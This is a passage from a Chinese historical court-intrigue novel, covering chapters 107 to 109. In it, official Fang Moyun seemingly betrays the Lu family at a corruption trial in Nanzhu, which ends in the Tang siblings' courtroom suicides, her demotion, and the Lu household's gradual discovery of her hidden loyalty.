顿时城门打开了，正啸上马带人疾驰而去，百欣则顿时瘫倒在地，再也隐忍不住泪如珠串断线……方茉云的话响在她的耳边，一刀刀割着她的心……“任我如何撒野，卢正啸定护我！”
唐百欣真的不懂，她从未见过少主这般惊慌的样子，为什么方茉云能让少主如此在乎，为什么……
等正啸赶到了矿区之时，发现此处已经乱成一团，而茉云受了伤站在矿坑入口，百刚则下令炸矿，茉云半步不可退让。
“住手！”正啸忿然的吼道
而此时百刚转身望见了正啸身影，顿时愣在原地，他姐居然没有拦住少主。
正啸顾不了那么多，瞬息间飞身而去，站到了茉云身前抬目瞪向了百刚，茉云看向正啸的背影亦愣了半刻……
百刚顿时大惊失色吼道：“住手，快住手，不要点燃。”
可是第一波引线已经点燃了，火星顿时飞窜而去，正啸顷刻间转身护着受伤的茉云，惊险的躲过了炸飞而来的巨石，他两飞身出了矿坑，都重重摔在了地上。
“少主。”百刚不顾一切的跑来跪在了地上，惊慌的看着正啸，“您是否有恙。”
正啸起身瞪着百刚，百刚看见正啸安好才松了一口气，跪在正啸面前深吸了一口气，低下了头，此时百刚的手下皆呆愣在原地，最终也放下了武器。
“师兄！”鹏飞和白岩也都才脱身赶了过来，“您终于来了，唐百刚居然要杀了我们所有人。”
“百刚，你要干什么？”此时在正啸身边，从来不说话的千山居然拉着百刚吼道，当年千山入卢府之时就是百林带着他教他的规矩，除了少主和万莫，百林于他而言如兄如友。
而百刚此时却跪在正啸身前，一脸的心如死灰，缄默不言。
茉云则站起身冷冷的望向看见这一切的唐百欣，眼神中的奚落深深刺向了唐百欣。此时若辰他们也赶到了，看见茉云安然无恙才松了口气。
“师兄，矿下地库之内，有黄金珠宝价值连城，更有兵械利器无数，还有一处已毁的矿坑中有很多尸骨。”鹏飞马上抱拳像正啸汇报。
正啸身边的众人都吃惊的望向百刚，他却一脸的坦然。
“你还不跪下跟少主请罪，求少主为你明查。”千山望向百刚焦急的皱眉说道。
“没有用了，我若未死，你们兄妹就逃不掉了。”茉云冷戾的看向百刚，“除非是你们少主，要保你们兄妹，此时将我杀了，便还来得及。”
众人不禁吃惊的望向茉云，茉云亦冷厉的望向正啸，正啸双眉微蹙望向茉云。
这时在城中被软禁的荣大人和余震亦赶到了，荣大人都还来不急跟正啸他们相互行礼，望向唐百刚就怒斥道：“你好大的胆子！”
“此刻那便是无力回天了。”茉云阴冷的笑了，
“茉云！”谢青深吸一口气看向茉云。
茉云顷刻转身望向荣大人说：“荣大人，我已查实唐百刚在南铸之滔天罪行，他实乃罪该万死，下官恳请您身为主审官，即刻上奏此事，兹事体大，请朝廷彻查唐百刚背后之人和一干牵连之人。”
在场之人无不愣在原地望向茉云，皆怀疑自己的耳朵听错了。
荣大人一时都没有接话，恍惚了半刻问道：“方大人以为背后以及牵连之人是谁？”
“还未查实，下官不知，只知唐百刚出自卢家。”茉云一脸刚正的说道。
“方大人，无凭无据，怎可轻易牵扯元帅之家。”荣大人立刻严峻的说道。
此刻，就连若辰都震惊得说不出话来，主审荣大人心里亦是顷刻七上八下，她怎么会突然调转枪头对付卢家。
“请主审大人上报朝廷，并将唐百刚和唐百欣姐妹即刻羁押，待查实审讯便知。”茉云转身望向唐百刚，她脸上冷
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冷笑意似乎让周遭都凝结了一般。
荣大人抬手说道：“来人啊，将唐百刚和唐百欣一干人等，先全部羁押。”
回到了府衙，一众人等皆沉默，待到傍晚之时，万莫回来了，可是他什么都不知道，他只做了一件事，那便是一直守护着一个老者，那个老者叫徐铸，是闻名天下的铸剑师傅，也是这南铸城中德高望重之人。
“少主让你守着此处，你如何守的？”千山瞪着万莫忿然吼道，“让你守着方茉云，不要让她乱来。”
万莫愣了半刻望向千山，谢青最终拉住了千山：“算了，为今之计，要搞清楚方茉云到底要干什么？”
“万莫，你可知道，我们不在的这几天，到底发生了什么？”若辰看向万莫问道。
“唐大人或者唐百欣和茉云发生了很大矛盾吗？”何友也望向万莫说道。
万莫望向他们点点头，可是他回忆了片刻说：“百欣姐说茉云是少主身边养不熟的狗，茉云说也不是人人都想做狗，有些狗做了丧家犬就只有死路一条。”
正啸顿时起身看向若辰说道：“想办法让我见百刚。”
“正啸哥，此时不该见一下茉云吗？劝她收手吗？”何友说道。
“此时见她已无用！”
若辰望向正啸停了半刻最终还是点头了，便让何友去安排，可是他们夜里到达大牢之时，却被拦住了。
“瞎了你的狗眼！知道你拦的……”
话音刚落，身后便传来了他们熟悉的声音：“荣大人，余大人，不知道大将军和关大人深夜造访大牢，是否有串供嫌疑？”
众人回头看向月光下一脸阴冷的茉云，漫无表情的余震，还有就是被强拉来一直没搞清楚状况的荣大人。
“大将军，关大人，这不合朝廷律法吧？毕竟我和两位大人才是本案审官。”荣大人故作镇定的说道。
“你哪个眼睛看见我们将军和大人踏入了牢房半步？”鹿里马上接过话说道。
茉云居然笑了说道:“那就请大人和大将军恕罪，荣大人，下官今夜守在这里吧。”
荣大人在朝中沉浮这么多年，亦是老谋深算，他怎么可能轻信茉云，派了他的侍卫陪着茉云一起守着。
茉云夜里便在牢里守着，看着他姐两在牢中正襟危坐的样子，嘴角微扬，不愧也是卢家培养出来的人才。
唐百刚抬目望向茉云，看着她那阴损的笑容，他不懂少主为何会用方茉云这种人。
“两位何不早些休息，明日一早便要上堂，这般怨恨的看着在下，眼神杀不死人的。”
“方茉云，你也无需得意，用我们姐弟的命，来证明你包藏祸心，亦是值得。”唐百欣咬牙冷冷的瞪着茉云说道。
“我从未被谁所用。”茉云讥讽的看向百欣说道，“我终究很难知道丧家犬的滋味，因为我不做狗。可狗，我还是了解一二，做狗其实禁忌很多，不咬主人，不咬主人的妻子，不咬主人的朋友。”
唐百刚深吸一口气望向茉云，唐百欣却顷刻间眼中闪过一丝异样望向茉云。
“我小时候邻居家收留了一条疯狗，可它害主人家人，这世上若要人不知除非己莫为，当被发现之后，主人家拿着扁担打死了它，那疯狗死前还装作一副无辜祈求的眼神看着主人，主人却说，死还算便宜了那畜生！”茉云冷冷的望向唐百欣说道。
唐百刚最终闭上了眼睛，唐百欣的眼神中也终于露出了恐慌……
茉云淡淡的望向唐百刚，冷厉的叹息道“好狗是不会让其他疯狗有机会咬自己的主人的。”
107.忠诚
翌日，初春的寒意卷席了整个南铸。
府衙之内三位审官高坐堂上公审，正啸和若晨他们在里旁听，唐百刚被带上了堂，经过一夜他依旧沉默且从容不迫。
而唐百刚的属下仍然铁桶一般，坚称一切与唐大人无关，都是属下行事操切，酿成了血案，欺瞒了大人。
荣大人当场愤然怒斥他们死不悔改，可他心里是惶恐的，案子已经审到这个份上，把起先的布局已全然打乱，自己实在又无法短时内像太师禀报。
茉云忽然抬目说道：“荣大人，可否传我请的一位证人上堂，他是南铸德高望重之人，想必他的证词在此案中举足轻重。”
“好。”荣大人点头说道，他如今都未想清楚方茉云到底是搞什么鬼，只能见招拆招。
此时方茉云命人带了徐铸上堂，众人都咬牙切齿的望向徐铸，他居然成了方茉云的证人。
唐百刚一直如此厚待和尊重徐铸，徐家是誉满天下的铸剑家族，徐铸作为这一辈的传人，因为他性子孤傲且不懂变通，之前的刺史都极为厌恶和打压他。可是唐百刚来了之后，却一直对他礼敬有加，极为推崇，让他主理全城铸造武器之业，也是因为唐刺史的帮衬，徐家恢复了往日的兴旺，可他依旧固执。
徐铸在堂上从头到尾交代了唐百刚在南铸，如何以非人的手段吞并私矿，一统铸造行业，逼迫所有的武器工坊按照他的图纸打造武器，并将铸造兵器的类目和数量呈送了堂上。
“荣大人，这一份是朝廷要求南铸铸造兵器的公文，上面详细记载了所需兵器的数目和种类，而这一份是南铸报给兵部实际铸造的账目副本，基本完成朝廷所需，可与徐铸师傅呈上来的数目对照，南铸居然只上交了五成兵器。下官不知他们私藏的剩下五成兵器所为何？”茉云看向荣大人汇报道，此话一出震惊四座。
谢青他们都吃惊的看向茉云，这可是天大的罪过。
“回答！”荣大人望向唐百刚说道，此刻他身为主审也只能被牵着鼻子走了。
唐百刚依旧沉默不言，可他咬紧了牙，茉云亦深吸一口气，唐百刚也知道自己必死无疑。茉云心里知道，唐百刚为何多生产兵器，他还能为了谁，就是为了他心心念念的少主。
她知道，正啸亦知道，诸将也知道，他就是不想正啸处处受制于朝廷，当年若不是军需不够，卢正啸的娘柳将军那一战不会败，她不会为了引开敌军而殉国。
“唐百刚，私藏这么多兵器，是想造反吗？可你没兵啊，是想给有兵之人造反吗？”茉云正义凛然的问道。
此言一出，语惊四座，连荣大人也被茉云的直接震惊到了，余震亦侧目望向茉云。
“若他不回答，也请将我的问话记录在案，呈上去。”茉云转身望向笔录之人说道。
“是！”
若辰倒吸一口气，谢青顿时脸色惨白，此情此景让他们谁都毫无招架之力。
“方大人，罪臣没有那般能耐，只想将这些军械换取点钱财。”唐百刚终于说话了，他就算死也不能再牵连少主。
“换取钱财？”
“是，事已至此，罪臣也不欲隐瞒，希望朝廷可宽大处理！”
茉云则冷冷的笑了说道：“此话着实让人费解？私卖军械亦是死罪，都是死路一条，你这不是祈求宽大处理，你是在为背后之人脱罪吧。”
唐大人怒目瞪向茉云：“方大人，我不明白您的意思？我地库那些黄金便是这般来的。”
“素闻唐大人有唐青天之名，衣食住行都甚为节俭，这些钱和珠宝你也没用啊？”
“罪臣有负圣恩，自小下人出生，终究被浮华所惑，沽名钓誉……”
茉云顷刻间打断唐百刚的话，咄咄逼人的问：“去年年前，南铸往南关送了五十个酒坛，那酒坛里是什么？”
唐百刚顿时瞪向茉云，鹿里他们都愣了，她居然栽赃陷害，沧海更是握拳望向茉云，她明明知道那是酒，她还喝了！
“酒坛里自然是酒。”唐百刚咬牙瞪向茉云说。
“可是以下官对大将军的了解，大将军在军中从不喝酒啊？你送酒的意义再哪？请将我这句问话详细记录在案。”茉云冷冷的笑了说道，余震亦皱眉望向茉云，荣大人则依旧没缓过神来，此人攀咬卢正啸比自己还厉害。
“我已认罪，大人为何要千方百计无端往军中牵扯？”
“唐大人，蒙朝廷器重审理此案，我不可能让你如某个县令一样，轻易逃脱朝廷和律法的罪责。”茉云眼神中放出狠戾的光，顷刻如猛兽一般。
千山等人都咬牙握紧了双拳，方茉云素来睚眦必报，原来她心里一直憋着怨恨，最终背叛。若辰双眉紧皱望向茉云，顷刻间脑子里如一团乱麻，任谁做梦都不会想到茉云会这般倒戈……
只有卢正啸依旧是一脸的波澜不惊，唐家兄妹在自己面前在劫难逃，他却无能为力，他这一生际所遭遇……好像都有些麻木了。
唐百刚苦笑着说：“欲加之罪何患无辞，原来大人们等着逮我，只为构陷南关。”
“大胆！”荣大人愤怒的说道，“事已至此，你竟毫无悔改，反而居心叵测将罪责推到审理官员身上。”
“荣大人，他如此冥顽不灵，不如请柳庄主夫人上堂。”茉云望向荣大人说道。
荣大人望向茉云迟疑了片刻，最终同意了带唐百欣上堂，将唐百刚压了下去。
“按照我朝律例，犯妇非朝中官员，更无封赏，是可以用刑的吧。”茉云望向荣大人说道。
荣大人亦皱眉望向茉云还是应了一声，可是朝廷如此大案，对女子用屈打成招这一招未免太过下作。
“来人啊，先将夹棍备好。”茉云冷厉的说道，千山他们等人都握紧拳头咬着牙，可谢青皱眉示意他们千万要冷静。
唐百欣被压了上来，尽管她一脸的失魂落魄的，可是她已经将自己整理得发丝都一丝不苟，她走到了正啸身边，抬头看着正啸，她从来没有敢这么直视过正啸，更不敢用这么深情而毫不躲藏的眼神望着正啸，然后她此刻什么都不怕了。
正啸深吸一口气望向百欣，百欣却如幼时一般灿烂的笑了，自己顷刻无憾了，自己虽是一身的罪孽，可是还是得上天垂怜，能在死前再见正啸一面。
“来人啊！准备上刑。”
“方大人，你还未审问，她都还未答，就上刑……？”荣大人望向茉云，茉云的这一番操作排山倒海而来，他都有些不知如何应接，千山等人却怒目望向茉云，她此举还不是徇私报复？
百欣则微微向正啸行礼之后，忽然转身望向茉云，茉云亦冷峻的望向她。
“也好！”唐百欣望向茉云释然的笑了，四目相触之时，茉云知道她终于明白了自己意思，此时便是弃车保帅的最佳时机。
顷刻间，百欣突然转
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身抽出了押送侍卫的刀，抬手便当场自刎，正啸顿时站了起来，可已经来不及阻止了。
“姐！”百刚不顾一起的冲过来吼道。
“随我去找大哥请罪吧……”
茉云顿时起身瞪向吼道：“拦住他，不要让他寻死，他是此案重要证人，还有很多话没有问出来。”
“百刚，你千万别冲动！”千山顿时亦望向百刚吼道。
“别冲动！”威行也马上说道：“将军定然会救你！”
而这些话便是一记重锤一般，让百刚二话不说将刀捅人了自己体内，他若死，就再也无人拿他攀咬正啸，而正啸亦不用犯险相救。
百刚一口鲜血喷出，迷离之际故意说：“罪臣有负朝廷所托，罪该万死，可臣从未想过谋反……臣愿一死谢罪。”
顿时堂上乱作一团，只有两人站在原地没有动静，茉云站在原地深深松了一口气，此案也到此为止了，他两终于结束了罪恶的一生，就在最后一刻他们亦是忠诚的，可这般偏执的忠诚害人害己。
而另外一个人就是卢正啸，顿时百林走时的场景好似浮现在自己眼前，他拉着自己的手说，求自己护他的一双弟妹，可如今他两都倒在自己面前……
茉云余光看见了正啸的表情，不知道为何……她想抬手捂住自己心痛，可是她握紧了拳没有动，那就痛吧，至少自己能感同身受他的痛。
此案就这般草率的终结了，再也查不出个所以然，荣大人只能和余震回京复命，茉云亦只得回中州了，她在一片骂声中走出了南铸。
直到走到了断弦桥，撞见了风尘仆仆赶来的元帅，抬手一巴掌扇到跪在他身边的正啸脸上，诸将都跪在了他身后。
“你让你老父死后如何去见你娘，你死后又如何去见百林！”元帅怒不可斥的吼道。
正啸跪在元帅身前，咬着牙一声不吭。
“元帅！”元帅身边的顾将军和震北都拼命拦着他。
“他们全家为卢家肝脑涂地，他们来南铸是为谁来的，你居然眼睁睁看着唐家最后的血脉断在你面前？”卢帅顿时眼眶红了咬牙说道，“卢正啸，你娘在天之灵看着，她生了你有什么用！”
“元帅，不能怪正啸，只怪是贼人太过狠毒。”震北扶着元帅说道，他是元帅的义子，正啸的义兄，自小就在元帅身边长大，此时也只有他敢为正啸说情。
“是吗？唐家姐弟不狠毒吗？”
顿时所有人都抬起了头，怒目望去看向一人一剑站在桥头的方茉云，一脸的风轻云淡，似乎什么都没有发生过。此时坐在马车中的老太君从马车的车窗帘的缝隙中望向茉云，她依旧如此坦然而镇定。
“方茉云！”顿时众将都起身瞪向茉云，眼中的愤怒和仇视呼之欲出，纷纷握紧了手中的刀剑。
茉云居然淡然而笑，丝毫不畏惧的说道：“让让！”
“让她走！”此时马车中传来了老太君严厉而不容质疑的声音，终究众将咬着牙让出了一条道。
茉云一脸波澜不惊的准备离去，老太君抬手撩开了车帘，望向茉云的背影，依旧是挺拔如松，未有一丝迟疑和软弱，她便是如此，哪怕等待她的将是狂风骤雨，她亦不改，石可破也，而不能夺其坚。
忽得一声冷峻而忿然的声音吼道“站住。”
茉云站定抬目望向正啸，四目相触，这一刻，他的眼神中冷若寒冰，透着杀气……
108.看轻
“将云夕剑交出来。”正啸冷冽的望向茉云。
茉云没有迟疑半刻，抬手便将剑丢了出去，千山接过了剑亦死死瞪着她。
“自此不要再让我见到你！”正啸冷漠的转身，顷刻间漆黑的双瞳如化不开的浓墨，茉云第一次在他的眼中见到这般狠戾的幽光。
千山则眼眶似乎微红未散，死死瞪着茉云说道：“下次若见，定取你狗命！”
茉云却淡然的嘴角上扬，头也不回的走了，若辰深吸一口气望向茉云的背影，她行事便是如此，从无转圜……
在昔日一众友人和兄弟憎恶的眼神中，她仍然那般悠然自得的走过断弦桥，来时茉云还觉这桥名莫名悲凉，没想到此刻却如此应景。此别最好再无相见，此处终究奈何断弦，这也算是自己曾认为跟他此生最好的结局，各自天涯……
老太君目送茉云离开，在自己经历的漫长而蹉跎的岁月中，如此沉稳却挺拔的背脊，让自己都不禁心生敬意。
执礼则深吸一口气，沉默良久，他知道茉云没有选择，她其实是堵上一切为卢家军换来了一线生机 ，哪怕无人体谅，可她什么也没说，暗潮汹涌之下她选择扮演这嫉恶如仇的疯癫。这个险象环生的案子，最终只能由唐家姐弟自裁，茉云反目为结局，画个句号。她没有解释半分，老太君也不让自己说，老太君说她不稀罕，更不需要别人替她委屈……
信任本是人与人之间最宝贵情感，少主身边之人，皆将少主的信任视之如命，当日少主让自己滚回家之时，于自己好似五雷轰顶般，可茉云自与少主相识，任她如何撒野，少主都信她，她却毫不在意……
茉云再也没有回头，艰难的走出了十几里地，其实她早已深受重伤，还未回到中州就已经快支撑不住了，幸亏途中遇见了思淼架着马车，带着青岚来接她，茉云上了马车便倒了下去，不省人事。
青岚深吸一口气取下自己的披风，盖在了茉云冷得蜷缩成一团的身躯上，看见她都觉得委屈，泪水止不住的落了下来。
审案的文书送至朝廷之时，圣上见奏便勃然大怒，不但没有质疑卢家半分，反而当面怒斥了荣大人和余震，最后还是关大人求情，分别罚了他们一年和半年的饷银，责令吏部贬黜茉云，理由就是他们故意攀扯卢家和边关将士，逼死人犯。
圣上素来从不相信奏折，敌人此计之狠就在于，本欲让皇上认为吏部，察院哪怕翻江倒海，在南铸亦查不出半分过失，而后他们拿出铁证，随即再安排御史群起而攻之，以诛心之论，让圣上生疑，让朝廷意识到南境竟然如此欺上瞒下，而卢家对于南境操纵太甚，只手遮天。
可谁知事与愿违，南铸此案被血淋淋的撕开，且处处显得如此操之过切，剑指卢家和边关，反而让皇上质疑到此中阴暗。而案犯唐百刚就这么被逼自绝于审案堂上，这更是皇上素来最憎恶的不清不白……此计虽苦，但是着实置之死地而后。
荣大人自知此事办砸了，战战兢兢的跪在了太师面前，太师并未怪罪，让荣大人安心回去，而显然荣大人这个侍郎的位置亦做不久了。
“没想到那人在察院呆了两年，居然如此了解圣上，这般置之死地而后生，让圣上反而觉得是卢家受到了陷害，死无对证又给卢家逃过一劫。”
“爹，喝茶。”德妃看向一脸愁忧的太师，亲手为他倒茶，“荣大人素来实心办事，那方茉云不过是乱拳打死老师傅罢了。”
“卢家身边总有能人，而你我身边皆是废物。”太师忿然说道。
“爹，切莫气坏了身子。”德妃放下了茶壶依旧是一脸温婉的笑容，“即便是三头六臂又如何？就容他们还张狂些日子，我们慢慢断其手臂即可。”
“此人当属一把利剑，接连损了我们多少人！”太师皱眉端起了茶杯说道，“这么一出生低贱卑微之人，怎得如此能耐。”
“她许不是利剑，乃恶兽也，这世上本是大兽吃小兽。”
太师望向她女儿，自觉言之有理，方茉云此人之手段异常狠辣决绝，根本就是卢家不屑为之的。
“利剑也罢，恶兽也罢，卢家这些迂腐而道貌岸然之徒，向来只知他们的所谓道义，定是驾驭不了此人的，等倒戈之时伤之更深！让他们自己人废了自己人，岂不痛快。”德妃轻轻的端起了茶碗，品着茶的清香，闭上眼睛沉溺的笑了。
太师亦若有所思，此时倒是反间最好的时机，可上次何子淳利用方茉云便是惨败如斯，若再用此计，必要下最狠的药。
余震回到了察院，亦一脸忏悔的跪在了邓大人面前，邓大人放下手中书望向他。
“属下无能，累大人遭皇上斥责，还请大人降罪。”
邓大人继续看向书无语的说道：“咱两共事也一两年了，还算能相互依仗，就别来这一套了，坐吧，茶都给你泡好了。”
余震恭敬的起身，坐下端起茶喝了一口，是茉莉花茶，余震无语的放下了茶杯，一旁的吴越亦闻到了茶香只能伏低头忍着笑。
“自恩师的长子交上一友，恩师家中年年都会制这茉莉花茶，清香扑鼻，甚好。”邓大人亦端起茶杯喝了一口，“怎得，你交友不慎，怪罪到茶上了？”
余震长叹一口气，吴越则开心的坐着品着茶，喝起来挺赏心悦目的。
邓大人被逗笑了看向他们：“听说堂上她审犯人，把荣大人和余大人都审傻眼了？”
余震想着便是满脸的忿然：“惟愿此生，再碰不到此妖怪便好。”
吴越回想着当日荣大人被茉云牵着鼻子瞎走，余震则一脸懵的样子，又忍不住伏低头笑了。
“是吗？”邓大人笑了继续望向手中的书。思绪却早已不在书上，前日恩师关太傅见到自己长叹一口气，自己心中亦是懊恼，这一仗赢得如此惨烈。
正啸回到了营中，诸将怨愤在心，军心震荡，就连万莫都有些不受待见，终日被千山责骂，可他一脸坦然，每日依旧忠于职守，未有任何怨言。
若辰来营中商议军事，他能感受到正啸心情恶劣之甚，半夜他醒来，瞧见正啸在营帐还在看着边关驻军图，此时已经是三更天了……
执礼则亲自送老太君回了京城，刚回到了卢家，老太君便收到了倪虹的拜帖，她也回京了，想拜访老太君，老太君犹豫了半刻，终究是允了。
倪虹独自来卢家，登门亦甚为有礼的跟老太君行了大礼。
“没想到柳夫人回京还会来看老太婆我……”老太君面容依旧冷峻。
倪虹顿时便跪下了，双手举起了一封旧书信，顷刻间泪流满脸：“求老太君恕罪，可怜我娘为一双儿女计，才行此不义之举……”
老太君抬手接过信，
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打开一看便咬紧了牙关，这封信便是倪虹的母亲留下的，她怕倪虹倪尚姐弟日后被弃，将当日倪大人写给卢帅的信，誊写了一份，这封信便是倪大人为卢家顶罪的铁证，亦是一封可置卢家入万丈深渊的书信。
执礼咬牙望向倪虹，这便是自己做梦都想过的算计，难怪老太君一直在说卢家畏惧的从来都不是外敌。
老太君终究深吸一口气说：“你娘没有做错什么，老太婆支撑到今日更多亦是为了子孙，不是为了什么家国大义。”
倪虹留着泪水抬头望向难得慈目的老太君，执礼亦有些诧异，老太君竟然丝毫没有怪罪。
“可你为何此时交给老太婆呢？”
倪虹毫不隐瞒的坦诚说道：“我为信守承诺，方茉云曾说过，她为我父亲报仇，我将可害卢家之物交出。”
老太君愣了半刻，执礼却震惊得按耐不住的问：“可她为何知道你有此物？”
“之前方茉云要办倪尚，而我以为卢正啸未相保，本是愤怒的冲昏了头脑，赶去谷山县，哪怕是拼个你死我和，也想为家弟出一口恶气。”倪虹坦诚的说道，“众人只当我是气急之时言语张狂，只有方茉云察觉……”
执礼双眉紧皱，当日自己也在，自己压根无法相信倪虹当日来谷山，是想同归于尽的。
“而她终究看在正啸哥的份上放过了倪尚，我离开之时她找到了我，问我是不是怀疑唐百欣害的倪家？我说我觉是，她便与我达成了这笔交易。”
执礼吃惊望向倪虹，她原来处事如此决绝，还有这层缘由，这便是老太君说的，唐家姐弟该死？是唐百欣当日出卖了卢家和倪家，致使倪家顶罪轰然倒地，倪虹无法嫁给正啸为妻，她用心如此歹毒……
老太君愣了半刻深叹一口气看向倪虹：“是卢家对不起你倪家。”
“不，老太君，历经此劫，我与倪尚才幡然醒悟，父亲舍生取义，我和倪尚这等不肖子孙，未能体恤父亲之大义半分……有愧家门，更有愧老太君自小的教导与看重，有些事我们本没有资格争。”倪虹泪水落了下来说道，“倪虹知道错了，谢谢老太君您的不弃和爱护。”
老太君最终点点头：“去吧，丫头，去过你该过的好日子。”
倪虹叩别了老太君，告退之后，老太君亲自将这份信烧了，看向身边的依妮忽然说道：“好孩子，去给你娘也上炷香！”
“是！”依妮顿时眼眶微红，跑去了祠堂。
执礼更是诧异，顿时愣在原地，这便是老太君死活不让百欣嫁入卢家的原因：“您为何早不说明呢？”
“卢家上下皆以为我掌控卢家几十年，看不惯正啸他娘，容不下她身边的孩子们。”老太君苦笑着说，说着自己亦眼眶微红，“可老太婆我，亦没你们想得那般能耐，我也有下不去手的人，我也有自欺欺人之时，我也畏惧百年之后无颜去见故人，最终失察酿成此祸。”
“可方茉云从何知晓？”
“因为她比任何人更了解人性之恶，在方茉云眼中能信任几人？”
“是，她不信人，亦不需人信，唐百欣再险恶，倪虹再孤傲，亦会拼命的粉饰美好，只盼少主信赖，她却毫不在意少主的信任……”
老太君起身抬眉望向执礼，眼神中含着一丝无语的笑意：“于她而言，万般皆看轻，唯你少主……”
109.落寞
春意藏，夏初长，茉云回到中州之后，便养伤了半月，恰逢贬黜的公文已经到了，不置可否的停职待审。
她坐在窗前仰头望去，骄阳正好，初夏将至，也是这样的季节，自己来到了中州，她随意拿起笔，画出了那个大老鹰的面人，画完才惊到了自己，自己为何忽然画了他……
宋大人邀茉云去家中晚宴，晚宴前，茉云陪宋大人下棋。
“你这棋艺和你心智不匹配？”宋大人摸着胡子看向那臭棋篓子的棋盘。
“知道您的意思就行了？”
宋大人看向茉云说道“我什么意思，你这棋一上来横冲直撞，半炷香功夫让人吃了一半？”
“棋子发挥了自己作用，然后被吃了，就该到一边凉快去。”茉云笑笑拿起点心塞嘴里说道。
宋大人深吸一口气说：“想好了？”
茉云顷刻乐了说：“不然真去卢家做妾？”
宋夫人和沈师爷顿时被逗乐了，茉云依旧是一脸的风轻云淡，仿佛这些年跌宕起伏的过往，皆如云烟消散。
翌日茉云如以往一样，东方破晓之时，未与任何人辞行，晨雾中离开中州，回了老家。
执礼亦回到了军中，皇上虽未责难南关，但是扩军的奏折石沉大海，元帅亦处置了正啸身边人，还以军令处罚了鹏飞和白岩，终究是责怪正啸急功近利，自以为是让敌人节节败退，任由方茉云胡作非为的张狂，结果是一败涂地。
正啸自始至终一语未发，若辰亦缄默不言，两人回南关之路都很沉默，执礼握着拳终究按老太君吩咐的那样什么都不说。
千山这日将万莫骂得狗血淋头，可万莫既不抱怨也不委屈，他们回去路上轻车而行，到了山脚恰遇一窝张狂的匪徒，看见若辰的穿戴，居然敢拔剑强抢。
人一刀便往正啸劈去，谁知道万莫顷刻间拔剑上前，三下五除二，将五名盗匪的刀全部劈断，盗匪惊得跪地求饶，众人抬目望去，烈日之下，他手中之剑银芒闪烁，剑气冲天，好一把锋芒烈剑。
“你剑哪儿来的？”千山都吃了一惊说道。
“徐铸师傅赠我的。”万莫坦诚的收剑说道。
“你岂可用他的剑，弃了此剑！”
“为什么？”
“不记得当年入府，百林哥是如何待你我的？”千山咬牙瞪向万莫说道。
“百林哥说，你我二人要忠诚，持剑一生护佑少主安康，徐铸师傅说这把剑叫忠魂！”
“你！”
“千山！”正啸顿时制止道，千山愣了半刻望向正啸，正啸则温和的拍拍万莫的肩膀，“剑法长进了。”
万莫则憨傻的笑了，他近日更是日日早晚勤于练剑，茉云走的时候跟他说，挺羡慕他，人一生能做好一件事便是圆满。
这把剑昔日是挂在徐铸家中堂内之剑，乃他最得意之作，茉云不但说服了徐铸为南铸某一个未来，永远不要将铸造兵器的大业交于一人手中，还将此剑求来，赠予了万莫……
半夜正啸居然破天荒的在月下喝酒，若辰亦未睡着走到他身边陪他喝酒：“卢帅之言，你亦没必要如此介怀。”
正啸并没有言语，于他而言，父帅的责备自小便是常事，这些年军中的沉浮，朝堂的打压他都习以为常，故人离去的伤悲他亦不是第一次经历，可不知为何这次自己如此低落，好似一口气提不上来。
“你难道真的觉得她所行之事错了吗？于此朝局而看，她是力挽狂澜救了我等。”
“不要提她。”正啸直接打断了若辰的话说道。
若辰皱眉望向正啸，他的眼神顷刻如万丈深潭，若辰便再未多言，执礼远远的看着未敢走近打扰，其实自始至终，方茉云处事之法和正啸素来南辕北辙，少主自小受教只能走光明正大之道，而方茉云行事从来都是为达目的不惜手段，两人亦都如此刚毅强势，也许是注定的两难相容……
若辰起身饮尽了杯中酒，悠悠往自己屋中走：“长夜沾湿何由彻……”
夜已寂静，只有万莫陪在正啸身边，正啸给万莫倒的酒，他一滴未喝，一直在正啸身边守着。
“自己去歇息吧。”
“少主，我不累。”万莫显然是不会轻易离去的。
正啸端着酒碗喝着忽而转身望向万莫说“她是如何跟你骗到这柄剑的？”
“没有骗！她跟徐铸说，想跟他求这把堂中之剑，徐铸说求剑谁用？他说未来持此剑之人只为护一人，而这一人能护南境万民安康。徐铸师傅便取下此剑给我了……”万莫想着回忆道。
正啸望向万莫透出一丝温和的笑意：“是把好剑，好好用。”
万莫憨傻的笑了看像正啸点点头，忽然想到什么说道：“少主，别回头看。”
正啸愣了半刻望向万莫，月下只有他两……
“不是，是别回忆的意思……茉云说若我干砸了差事被骂之时，不要伤心，值得干的事，干得再糟糕，也值得干。”万莫努力的挠着头想表达出茉云安慰他时所说的意思。
“这么信她？”
“嗯，茉云说少主能灭了峑戎平定南境，少主肯定能！”万莫望向正啸说道。
正啸温和的望向万莫，不知道为何顷刻间心中似乎觉得温暖了些：“以后在军中，不要轻易提起她的名字，知道吗？”
万莫望向正啸点点头，千山亦跟他说了，茉云逼死了百刚姐弟，连卢帅都不能原谅她，卢家军中再无她的容身之地。
“可是她错了吗？”万莫终于隐忍不住望向正啸问道。
正啸最终没有答话，万莫疑惑的望向他，却没有再问，因为他从正啸眼中并没有看见一丝责备。正啸饮尽杯中的酒转身回房了，于他而言，远离自己便是她最好的路，于道各努力，千里自同风。
执礼在房里陪着直到正啸的房里熄灯才睡，好似在暗自请罪一般，他本知道这一切，却选择沉默，而这种沉默，是否也是一种背叛……
可他两都想一切归于平静之时，茉云在老家没多久又收到了朝中文书，她被贬黜到县里做县丞，茉云看着文书，心想道这又是谁的手笔，穆能一直劝茉云辞官不做，好好过未来的日子。
朝堂依旧波涛汹涌，南关驻防已定，正啸再一次申请扩军以备战，恰逢夏汛将至，两河区域官场腐败严重，修河银两皆被贪墨，导 致黄河决堤泛滥，官员们惊慌失措之时，皆拼命找京中大官疏通，此时一条毒计顿时让他们齐心协力了起来。
民间流言四起，说是奸臣当道，弑杀好战，导致天怒人怨，朝堂之上主和派自然是又群起而攻之，而主战派亦不在是势单力薄，他们手上毕竟有这么多峑戎狼子野心的铁证，两方朝堂辩论，吵得不亦乐乎。皇上亦是一贯的不置可否
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，闭目不言。
正啸和若晨都知道，此时便是朝中主和派负隅顽抗之时，为今之计争取一切可以争取的力量，此战的关键就在朝廷大势。若朝廷大势不在，就是峑戎宣战，这场战亦打不起来。
而挡在他们面前的一座大山便是峑戎密宗，当年京城被茉云破获的密营不过是密宗在京城的分部，已经让朝中大臣闻风丧胆，而峑戎密宗深耕几十年，手上不知道掌握了多少朝臣的把柄。
任凭朝中官员如何认清实事利弊，可若有把柄在密宗手中，谁能做到舍弃自家一亩三分地去空谈爱国爱民，而朝中像丞相谢家，卢家，关家这等几十年谨小慎微，不敢越雷池半步的官员，又有几个？
